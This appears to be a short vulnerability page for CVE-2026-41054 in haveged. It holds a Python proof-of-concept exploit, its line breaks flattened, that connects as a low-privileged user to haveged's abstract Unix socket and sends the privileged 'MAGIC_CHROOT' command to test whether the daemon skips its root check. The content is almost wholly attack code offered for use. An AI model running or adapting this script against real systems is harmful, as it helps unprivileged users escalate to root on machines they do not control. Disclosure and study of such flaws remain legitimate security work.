CVE-2026-41054 Haveged权限提升漏洞

import socket import sys # PoC for CVE-2026-41054: Haveged Privilege Escalation # This script demonstrates how a low-privileged user can connect to the # abstract Unix socket and potentially execute privileged commands. SOCKET_PATH = "\0/sys/entropy/haveged" def exploit(): try: # Create a Unix domain socket sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) # Connect to the abstract socket used by haveged print(f"[*] Connecting to {SOCKET_PATH}...") sock.connect(SOCKET_PATH) print("[+] Connected successfully.") # The vulnerability allows non-root users to send commands. # 'MAGIC_CHROOT' is mentioned in the description as a privileged command. # Sending a dummy command to trigger the switch statement without root check. payload = b"MAGIC_CHROOT" print(f"[*] Sending payload: {payload.decode()}") sock.sendall(payload) # Attempt to receive response response = sock.recv(1024) print(f"[+] Received response: {response.decode(errors='ignore')}") except Exception as e: print(f"[-] An error occurred: {e}") finally: sock.close() if __name__ == "__main__": exploit()